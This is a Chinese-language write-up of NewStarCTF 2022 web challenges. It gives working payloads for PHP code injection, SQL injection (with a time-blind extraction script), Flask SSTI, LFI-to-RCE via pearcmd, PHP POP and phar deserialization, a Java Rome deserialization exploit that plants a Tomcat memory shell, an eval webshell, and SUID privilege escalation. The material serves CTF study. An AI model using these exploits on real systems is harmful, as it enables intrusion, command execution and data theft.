2022 NewStarCTF Web Writeup

X1r0z included in CTF

2022-10-23 2024-11-18 About 2600 words 6 minutes

题目挺简单的, 但是也学到了一些比较细节的技巧

Week1 Web

HTTP

Head?Header!

我真的会谢

右键查看源码, 有一处注释

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<!--I used VIM to write this file, but some errors occurred midway.-->

访问 robots.txt 得到第一部分 flag

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Part One: flag{Th1s_Is_s00

访问 .index.php.swp 然后执行 vim -r .index.php.swp 得到第二部分 flag

访问 www.zip 解压后打开 secret 得到第三部分 flag

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Part Three: u_th1nk_so?}

NotPHP

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<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
}

payload 如下

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http://f2d88e11-4d09-41a3-a6bc-7aff178cd8e1.node4.buuoj.cn:81/?data=data://text/plain,Welcome to CTF&key1[]=123&key2[]=456&cmd=?><?php system($_GET[1]);&1=cat /flag 

post: num=2077 

2077 后面有一个空格

Word-For-You

查询处有 sql 注入

万能密码 'or'1'='1

时间盲注也行, 但有点麻烦, 懒得写了

Week2 Web

Word-For-You(2 Gen)

报错注入

具体 payload 不写了, 基本没有过滤

IncludeOne

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<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

伪随机数漏洞, 利用 php_mt_seed 爆破种子

题目环境是 PHP/7.3.15

本地 echo 第二次生成的随机数

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<?php

mt_srand(1145146);
mt_rand();
echo mt_rand();
?>

最终 payload

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http://abcc9d59-f41c-49dc-818e-1fd0b9eb54a1.node4.buuoj.cn:81/?file=php://filter/NewStar/read=string.rot13/resource=flag.php

post: guess=1202031004

再 rot13 一下就是 flag 了

UnserializeOne

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<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

简单 pop 链构造

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<?php

class Start{
    public $name;
    public $func;

}

class Sec{
    public $obj;
    public $var;

}

class Easy{
    public $cla;

}

class eeee{
    public $obj;

}

$f = new Sec();

$e = new Start();
$e->func = $f;

$d = new eeee();
$d->obj = $e;

$c = new Easy();

$b = new Sec();
$b->obj = $c;
$b->var = $d;

$a = new Start();
$a->name = $b;

echo serialize($a);
?>

ezAPI

下载 www.zip 解压后打开 index.php

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 <?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
        return False;
    } else {
        return True;
    }
}

function send($data)
{
    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-type: application/json',
            'content' => $data,
            'timeout' => 10 * 60
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    return $result;
}

if (isset($id)) {
    if (waf($id)) {
        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
        $res = json_decode(send($data));
        if ($res->data->users_user_by_pk->name !== NULL) {
            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
        } else {
            echo "<b>Can't found it!</b><br><br>DEBUG: ";
            var_dump($res->data);
        }
    } else {
        die("<b>Hacker! Only Number!</b>");
    }
} else {
    die("<b>No Data?</b>");
}
?>

GraphQL 注入

参考文章 https://blog.csdn.net/m0_51326092/article/details/119887029

虽然有 waf 过滤, 但我们可以通过 $_POST['data'] 自定义 $data, 然后进行查询

查表

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id=1&data={"query":"{
  __schema {
    types {
      name
    }
  }
}", "variables":null}

关注第一个就行

查字段的 payload 怎么都用不了, 于是随便猜了个 flag 字段竟然对了…

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id=1&data={"query":"{
  ffffllllaaagggg_1n_h3r3_flag {
    flag
  }
}", "variables":null}

Week3 Web

BabySSTI_One

flask ssti

试了下发现 class 关键字被过滤了

然后利用 config request url_for 这些 object 会爆 500, 不知道什么情况

最后找到个 lipsum 能用

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{{lipsum.__globals__['__builtins__']['__import__']('os').popen('ca'+'t /fl'+'ag_in_here ').read()}}

IncludeTwo

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<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
}

include 限制了文件后缀, 尝试 data 协议失败, 估计是 php.ini 配置关了 allow_url_include

找了好久发现 p 牛的文章

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

刚好 buuctf 的靶机是用 docker 搭的, 猜测默认环境下应该也会有 pearcmd.php

根据文章所说, docker php 环境下 register_argc_argv 默认为 On, 也就是说我们可以通过 query-string 来控制 $_SERVER['argv'], 即执行 pearcmd.php 所需要的参数

payload 如下

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/index.php?file=/usr/local/lib/php/pearcmd&+config-create+/<?=system($_GET[1])?>+/tmp/hello.php

p 牛文章里的 payload 把 file 写到后面的位置了, 不过原理差不多, file 以及后面的内容加上构造的 php 代码都会被写进 /tmp/hello.php 中

需要注意参数从 $_SERVER['argv'][1] 开始, 因为 $_SERVER['argv'][0] 的值就是命令本身 (pearcmd.php)

最后包含 /tmp/hello

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http://e8837fc4-0abb-444f-b625-f9ed5b42ec58.node4.buuoj.cn:81/?file=/tmp/hello&1=cat /flag

multiSQL

堆叠注入, 过滤了 select insert update delete

使用预编译查询绕过, 查表也可以用 handler 语句

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';set @a=concat("upda","te score set listen=999");prepare st from @a;execute st;handler score open;handler score read next;handler score close;

最后访问 verify.php 得到 flag

Maybe You Have To think More

404 页面提示是 thinkphp

输入用户名查询后, 返回头中会设置 cookie

base64 解码结果如下

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O:17:"first\second\user":2:{s:8:"username";s:3:"123";s:8:"password";N;}

携带该 cookie 后无论 name 输入什么内容, 返回的信息里用户名都是 123

所以猜测 cookie 处的 tp_user 是反序列化的利用点

网上搜到一个 thinkphp 5.1.x 的反序列化的漏洞, 但是文章中的 exp 一直利用失败

然后找到了 phpggc (类似 ysoserial) 中的利用链

https://github.com/ambionics/phpggc

flag 在环境变量里

Week4 Web

So Baby RCE

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<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

变量 + %0a 绕过

/ 得用环境变量去构造, 但是类似 ${PATH:0:1} 这种切片一直用不了, 不知道怎么回事…

最后换成了 sed, 直接把 index.php 中的第六行, 即 }else{ 删掉

然后执行命令查看 flag

BabySSTI_Two

懒得写了… 过滤跟上一周的那题差不多

通过方括号去访问对应属性

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http://44ad0597-f152-4e7f-820f-5417399b6406.node4.buuoj.cn:81/
?name={{lipsum['__glob''als__']['__buil''tins__']['__impo''rt__']('os')['po''pen']('c''at${IFS}/fl''ag_in_h3r3_52daad').read()}}

UnserializeThree

右键源代码可以看到 class.php

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<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

过滤了尖括号和换行符, 不好直接闭合

但是本地试了下 \r 也可以达到与 \n 类似的效果, 从而跳出 # 的污染

之后就是简单 phar 反序列化

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<?php

class Evil{
    public $cmd;
}

$a = new Evil();
$a->cmd = "\rsystem(\$_GET[1]);";

$phar =new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

又一个SQL

提示查询 100, 一开始不知道什么意思, 试了好久才发现是个整数类型的注入…

过滤了 /**/, 用 /*123*/ 绕过

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-100/*123*/union/*123*/select/*123*/group_concat(text),2/*123*/from/*123*/wfy_comments

Rome

下载 jar 文件后用 jd-gui 打开

springboot 的项目, helloCTF 方法为反序列化入口点

poc.xml 里面看到了 rome 的依赖

猜测是 rome 反序列化

参考文章 https://www.anquanke.com/post/id/258575

ysoserial 中的利用链

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/**
 *
 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)
 *
 **/

写 payload 的时候把 HashMap 换成了 BadAttributeValueExpException, 前者要写反射比较麻烦

然后参考文章里的代码解决了回显的问题

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package com.example.javasec;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.management.BadAttributeValueExpException;
import javax.servlet.Filter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Properties;

public class Demo{
    public static class Evil extends AbstractTranslet{
        static {
            try {
                Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
                Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
                Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");
                WebappClassLoaderBaseResource.setAccessible(true);
                Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);
                Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");
                Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null);

                StandardContext standardContext = (StandardContext) getContext.invoke(resources, null);

                Filter filter = (servletRequest, servletResponse, filterChain) -> {

                    InputStream fis = Runtime.getRuntime().exec(servletRequest.getParameter("cmd")).getInputStream();
                    byte[] buffer = new byte[16];
                    StringBuilder res = new StringBuilder();
                    while (fis.read(buffer) != -1) {
                        res.append(new String(buffer));
                        buffer = new byte[16];
                    }
                    fis.close();

                    servletResponse.getWriter().write(res.toString());
                    servletResponse.getWriter().flush();
                };
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName("A");
                filterDef.setFilterClass(filter.getClass().getName());
                filterDef.setFilter(filter);
                standardContext.addFilterDef(filterDef);
                FilterMap filterMap = new FilterMap();
                filterMap.setFilterName("A");
                filterMap.addURLPattern("/*");
                standardContext.addFilterMap(filterMap);
                standardContext.filterStart();
                System.out.println("injected");
            }catch (Throwable t){
                t.printStackTrace();
            }
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

        }

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

        }
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};

        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = templatesImplClass.getDeclaredConstructor(
                byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class);
        constructor.setAccessible(true);
        TemplatesImpl templatesImpl = (TemplatesImpl) constructor.newInstance(
                bytecodes, "test", new Properties(), 1, new TransformerFactoryImpl()
        );
        ToStringBean bean = new ToStringBean(Templates.class, templatesImpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", bean);

        ByteArrayOutputStream arr = new ByteArrayOutputStream();
        try (ObjectOutputStream output = new ObjectOutputStream(arr)){
            output.writeObject(badAttributeValueExpException);
        }
        byte[] base64code = Base64.getEncoder().encode(arr.toByteArray());
        String payload = new String(base64code);
        System.out.println(payload);

    }

    public static void setFieldValue(Object obj, String name, Object val) throws Exception{
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, val);
    }

}

exp 发送前需要 urlencode 一次

最后再次请求, 传参 cmd

Week5 Web

Give me your photo PLZ

.htaccess 解析漏洞

BabySSTI_Three

过滤了下划线和一些关键词, 转成十六进制或者 unicode 绕过

Unsafe Apache

apache 2.4.50, 存在目录遍历和命令执行

So Baby RCE Again

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<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

基本等于没过滤…

先用 echo 写一个 webshell

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cmd=echo "<?php eval(\$_REQUEST[1]);?>" > a.php

因为默认的 shell 是 sh, 直接弹会有点问题, 所以要先把命令写到文件里, 然后用 bash 执行

ffll444aaggg 文件权限是 700, 估计要提权

按照正常题目的思路先看一下 SUID

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find / -perm -u=s -type f 2>/dev/null

发现 date 命令, 于是尝试用 date 读取 flag

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date -f /ffll444aaggg

Final round

name 处时间盲注

python 脚本

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import requests
import time

url = 'http://f4911839-e2b4-40ac-8bcc-4ccfe9d34b73.node4.buuoj.cn:81/comments.php'

dicts = r'{}_AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'

flag = 'flag{'

for i in range(6,99999):
    for s in dicts:
        time.sleep(0.3)
        payload = "if(ascii(substr((select(group_concat(text))from(wfy_comments)where(text)regexp('flag')),{},1))={},sleep(0.5),0)".format(i,ord(s))
        start_time = time.time()
        print(s)
        res = requests.post(url,data={'name': payload})
        stop_time = time.time()
        if stop_time - start_time >= 5:
            flag += s
            print('FOUND!!!',flag)
            break